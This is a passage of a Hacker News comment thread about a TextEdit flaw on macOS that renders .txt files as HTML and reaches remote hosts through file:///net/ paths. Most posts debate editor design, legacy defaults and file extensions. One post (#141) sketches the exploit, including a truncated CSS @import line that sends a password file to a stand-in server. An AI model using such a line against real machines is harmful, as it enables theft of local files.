Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Man who thought opening a TXT file is fine thought wrong

paulosyibelo.com

Post reply on HN
Print view View original

141–150 of 316 posts

Re: Man who thought opening a TXT file is fine thought wrong

#141

Post by bawolff »

twobitshifter wrote: post #132
bawolff wrote: post #33

> I will not leave a PoC for this chapter but I promise you, it will not be that difficult to figure out after reading the above two parts I find this kind of annoying. Either write about the vulnerability or don't.

So... First vulnerability is that you can force someone to hit 2nd vulnerability is that you can print a password file (or other file) inside the text editor A dangling markup attack is an attack that sends you information as part of the url request up to the next quote So you could do this and someone has sent you the contents of the password file when trying to get css @import{ "file:///net/MYSERVER.COM/stealpasswo…

Which is very interesting in and of itself as that's not how dangaling markup attacks usually work (normally it would send the unparsed html, not the result of parsing the html). Not to mention wtf the non-standard tag is and how it differs from an iframe.

But my broader point was less the how, and more that the style of writing was obnoxious.

Re: Man who thought opening a TXT file is fine thought wrong

#142

Post by mceachen »

throwawayboise wrote: post #89
userbinator wrote: post #56

Two words: excessive complexity. It's always seemed strange that an application called TextEdit is actually more than a text editor. I strongly believe that content-type autodetection, much less HTML rendering(!), most certainly does not belong in a text editor.

TextEdit dates back to NeXTStep, so it was originally written in the late 1980s probably. Guessing it didn't render HTML originally, but it always had RTF capability. Not that it's an excuse in 2021, but very few applications from that era woudl be considered "safe" today.

An example of "unsafe defaults:"

NeXT used Display PostScript for the display manager. If you opened an email that had PostScript commands, the mail agent would happily, automatically, execute them.

A favorite payload sent around the computer lab would smear all pixels downward to "melt" whatever was rendered on your display.

Note that there weren't that many interesting things to exfiltrate back then, so this wasn't a terrible default: there wasn't (any!) online commerce, online banking was rare, and even passwords were never echoed to the terminal.

Re: Man who thought opening a TXT file is fine thought wrong

#143

Post by Ansil849 »

> On the interface of TextEdit, it looked like you can do basic customization to your text (you can turn text bold, italic, change color etc...),

I hate this about TextEdit. Is there a way to turn auto-formatting off? If I paste text, I want it to be stripped of any imported formatting.

Re: Man who thought opening a TXT file is fine thought wrong

#144

Post by NaOH »

Ansil849 wrote: post #143

> On the interface of TextEdit, it looked like you can do basic customization to your text (you can turn text bold, italic, change color etc...), I hate this about TextEdit. Is there a way to turn auto-formatting off? If I paste text, I want it to be stripped of any imported formatting.

Edit > Paste And Match Style

Re: Man who thought opening a TXT file is fine thought wrong

#145

Post by bawolff »

crazygringo wrote: post #105

Oh, man. The idea that TextEdit automatically parsed .txt files as HTML if they started with a certain file signature is problematic... ...but the fact that file:// schemes can access remote files by appending /net/ followed by a domain name is pretty shocking. I mean, the entire purpose of "file://" would seem to be to provide access to local/mounted files and only those. The fact that a Mac engineer thought it woul…

> ...but the fact that file:// schemes can access remote files by appending /net/ followed by a domain name is pretty shocking.

Not that shocking. Windows has had that with SMB networking for ages file://SMBSERVERNAME/path/file . Linux somewhat supports /dev/tcp/HOSTNAME/PORT (technically that's application level in bash so not everywhere), and im sure there's daemons you could run to automount things on the fly.

Re: Man who thought opening a TXT file is fine thought wrong

#146

Post by [deleted] »

crazygringo wrote: post #109
userbinator wrote: post #56

Two words: excessive complexity. It's always seemed strange that an application called TextEdit is actually more than a text editor. I strongly believe that content-type autodetection, much less HTML rendering(!), most certainly does not belong in a text editor.

It's a rich text editor by default. Rich text is still text. Opening HTML files and converting them to rich text certainly does belong as a valid feature for a rich text editor. It'll open and convert Word files too, which is super useful. The content-type autodetection, however, I agree was a bad idea. Still, this vulnerability presumably existed with an .html file opened in TextEdit.

[deleted]

Re: Man who thought opening a TXT file is fine thought wrong

#147

Post by bawolff »

jclulow wrote: post #94
dewlinedew2 wrote: post #76

Earlier quoted context omitted.

shoulda used 'cat

Using cat with arbitrary input exposes you to many terminal-side security issues. It is insufficiently complex.

It can do some sketchy things and rewrite your terminal in weird confusing ways, but afaik most of the out-and-out malicious escape sequences have been patched out at least a decade ago.

Re: Man who thought opening a TXT file is fine thought wrong

#148

Post by bawolff »

upofadown wrote: post #74

The link provided in the article to HTTPLeaks required some sort of login for me. Here is the direct link: * https://github.com/cure53/HTTPLeaks There are a lot of ways HTML can leak information. HTTPLeaks is an attempt to create a test for all such leaks. Unfortunately, people keep inventing new ways for HTML interpretation to leak data. The article describes a particularly clever approach accidentally implemented b…

I don't know what people expect - don't run code you don't trust. There is also lots of ways for python to leak data if you execute a malicious python script.

Re: Man who thought opening a TXT file is fine thought wrong

#149

Post by philistine »

Wowfunhappy wrote: post #122

Hmm, I can't replicate this on my Mac running 10.9. printf ' ' > test.txt Opening test.txt shows the exact code I printed. Am I missing something?

the preferences allow you to set wether html is parsed or displayed as is. Perhaps it's due to that ?

Re: Man who thought opening a TXT file is fine thought wrong

#150

Post by kalleboo »

Wowfunhappy wrote: post #112
bellyfullofbac wrote: post #17

File extensions are a kludge anyway. (And Windows 10 still hides them by default, because hey, backwards compatibility, and you wouldn't want to confuse Grandma who's seen the file be called "grandkids" since Windows 95..). Why should the filetype be dependent on the name? People even think renaming a .BMP to .JPG means now it's a compressed file! Old school Macs stored the filetype outside of a file, so you can rena…

I don't actually think file extensions are such a bad system. Filenames exist to provide context for the data inside. "Draft 2020 Quarterly Report.txt" and "Draft 2020 Quarterly Report.csv" could contain the exact same data, but the file extension indicates how the file is intended to be used, just as "2020" indicates the relevant year and "Draft" indicates completeness.

The cool thing about the Classic MacOS file type/creator system is that you what app opened a file was not dependent solely on the file type, but also on the app that created it.

So if you downloaded a GIF file of a cute cat, it would open in your image viewer, but if you were working on drawing your own GIF image, it would open up in your image editor.

Post reply on HN